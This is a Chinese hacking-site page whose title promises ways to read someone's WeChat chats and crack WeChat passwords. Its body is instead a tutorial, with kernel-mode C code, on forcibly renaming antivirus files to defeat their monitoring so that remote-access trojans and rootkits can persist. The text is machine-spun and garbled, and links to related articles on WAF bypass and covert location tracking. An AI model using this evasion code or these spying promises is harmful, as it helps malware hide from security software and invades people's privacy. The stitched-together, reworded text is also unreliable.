如何查别人的微信谈天内容 微信密码如何可以破解

访客4年前黑客工具568

这篇文章原本前2天就计划发出来的,最近手头有点小事,今天有空就把这篇文章整理出来了,前面先说点题外话。对于传统的远控来说,由于撒播面积广,都成为各大杀软的重点查杀目的。不光特征码多,另有个致命缺陷。那就是要害释放历程早已被杀软熟悉了,严酷的来说,这些木马的行为已经被杀软所掌握。如注射远程线程,启动傀儡IE,加载驱动,注册服务,修改敏感系统注册表键值等,这些行为靠修改特征码是很难做到的。以是经常出现这样的情形,刚做好的免杀过不了多久总会被杀软查杀。基本处于 免杀-gt;被杀-gt;在免-gt;再被杀 尤其是象鸽子 PS这样的远控,若是是仅仅为控制好玩,那我不多说什么了。若是要使自己的ROOTKIT能够在服务器上长期存在,那么势需要自己自力开发一款属于自己的ROOTKIT,这个不是今天要讲的主题,以后有时间了,在发写若何编写ROOTKIT的文章,上周我发了一篇关于“一句话过监控”的帖子,好象前天已经修复了这个破绽。今天我就说下,若何打造穿透所有杀软监控的程序。   首先 明确一点 当一个文件的路径被改变的时刻,其应用程序就会发生错误,要么退出,要么溃逃。一样平常杀软为了珍爱自己的文件不被重命名,要么设置文件为“只读”属性,,要么行使Inline Hook IofCallDriver阻挡删除(重命名)文件请求的API 如(CreateFile()),这样珍爱了自己的文件不被删除或重命名。实在重命名就是一个删除文件,再建文件的历程。   关于详细的实现代码,请百度或者google下,关于ring3下行使createFile()和Inline Hook IofCallDriver珍爱文件不被删除的原理,这里主要将若何强行重命名文件,导致杀软的所有监控失效。   对于一句话过监控,我们是通过MoveFile()实现的,跟踪MoveFile可知,它会挪用ZwSetInformationFile实现文件移动功效,这里要说下关于FileInformation的结构_FILE_RENAME_INFORMATION是未公开的,以是照样逆向下他的结构。   typedef struct _FILE_RENAME_INFORMATION {   BOOLEAN ReplaceIfExists;   HANDLE RootDirectory;   ULONG FileNameLength;   WCHAR FileName[1];   } FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;   其中ReplaceIfExists判断是否存在重命名的文件夹,RootDirectory 文件的绝对物理路径,ULONG FileNameLength文件名字长度,FileName文件名。这里说下,关于FileNameLength这个参数可以通过sizeof()这个函数获得,我们的实现历程如下,行使ZwCreateFile()打开文件夹,行使ZwSetInformationFile修改文件名。实在现代码如下:   NTSTATUS Rename(PCHAR szFileName1,PCHAR szFileName2)   {   FILE_RENAME_INFORMATION fri;   IO_STATUS_BLOCK iostatus;   OBJECT_ATTRIBUTES oa;   UNICODE_STRING pathnameW;   ANSI_STRING pathnameA;   NTSTATUS status;   HANDLE hfile =NULL;   CHAR szFileNameL[MAXPATHLEN];   strcpy(szFileNameL,"\\\\DosDevices\\\\");   strcat(szFileNameL,szFileName1);   RtlInitAnsiString(amp;pathnameA,szFileNameL );   RtlAnsiStringToUnicodeString(amp;pathnameW,amp;pathnameA,TRUE);   InitializeObjectAttributes(amp;oa, amp;pathnameW, OBJ_CASE_INSENSITIVE, NULL, NULL);   status = ZwCreateFile(amp;hfile, DELETE, amp;oa, amp;iostatus, NULL, 0, FILE_SHARE_READ,FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL,0);   RtlFreeUnicodeString(amp;pathnameW);   if(!NT_SUCCESS(status))   {   goto done;   }   strcpy(szFileNameL,\"\\\\DosDevices\\\\\");   strcat(szFileNameL,szFileName2);   RtlInitAnsiString(amp;pathnameA,szFileNameL );   RtlAnsiStringToUnicodeString(amp;pathnameW,amp;pathnameA,TRUE);   fri.FileNameLength=pathnameW.Length;   memcpy(fri.FileName,pathnameW.Buffer,pathnameW.Length);   fri.ReplaceIfExists=0;   fri.RootDirectory=0;   status = ZwSetInformationFile(hfile,amp;iostatus,amp;fri,sizeof(fri),FileRenameInformation);   RtlFreeUnicodeString(amp;pathnameW);   done:   if(hfile)   {   ZwClose(hfile);   }   return status;   }   这样就可以实现在RING0下强行重命名文件的效果了。固然对于AVP这样底层HOOK的比较深的杀软来说,事先照样需要恢复SSDT才气重命名文件的。一样平常来说,他会从驱动层过滤IoCallDriver()的请求,导致文件重命名失效,以是对于一些特殊的杀软照样要"特殊照顾"的。

相关文章

黑客风云男主角(男主角是黑客的小说)

黑客风云男主角(男主角是黑客的小说)

本文目录一览: 1、求一部男主角是个黑客的小说。 2、哪部小说男主是杨天 3、寻小说!! 4、求精彩的黑客小说,男主最好像《指间的黑客》的杨天,冷冽又狂热(对技术),其他的也可以,精彩就行...

不要钱的黑客qq,黑客盗取了我的微信聊天记录,怎么教你怎么用黑客技术攻击网站

MessageBoxPacket8. 运用 HTTP 恳求编码绕过 WAF – Request Encoding to bypass web application firewallsATM和处理中心...

孔雀舞是哪个中华民族的(孔雀舞、锦鸡舞等,这种民俗传统舞蹈)

孔雀舞是哪个中华民族的(孔雀舞、锦鸡舞等,这种民俗传统舞蹈)

在好几千的历史时间发展趋势中,每个中华民族的传统文化艺术都不同样,尤其是承传民俗文化的舞蹈,音乐等。更能突显中华民族文化内涵。 1、孔雀舞 彝族孔雀舞是民间舞蹈中最负盛名的传统表演性舞蹈,流布于云...

白岩松的演讲(白岩松演讲视频精华版)

白岩松的演讲(白岩松演讲视频精华版)

“人生最好的境界是什么? 曾国藩给自己的书房题名“求阙厅”, 阙是缺少,花未全开月未圆, 花没有全开的时候是最好的, 月亮还没有全圆的时候是最好的。” ——白岩松最新演讲 光阴的故事,...

淘宝工厂店铺起名大全(498个大气名字)

有档次两个字淘宝工场店肆取名一个字淘宝工场店肆名字大全 汽暖淘宝工场官方店肆   侄、初、拱   艳福淘宝工场旗舰店肆   榫、地、玉   楹联淘宝工场直销店肆   雕、呐、丽   妻小淘宝工场...

微信不惊动对方怎么知道对方的位置(微信知道对方位置的方法步骤)_微信位置

微信不惊动对方怎么知道对方的位置(微信知道对方位置的方法步骤),怎样取回微信删除的谈天纪录?跟着智内行机的宽泛应用,微信渐渐代替其余社群应用,成为咱们生存中紧张的交换对象。数据表现,每片面每天点击微信...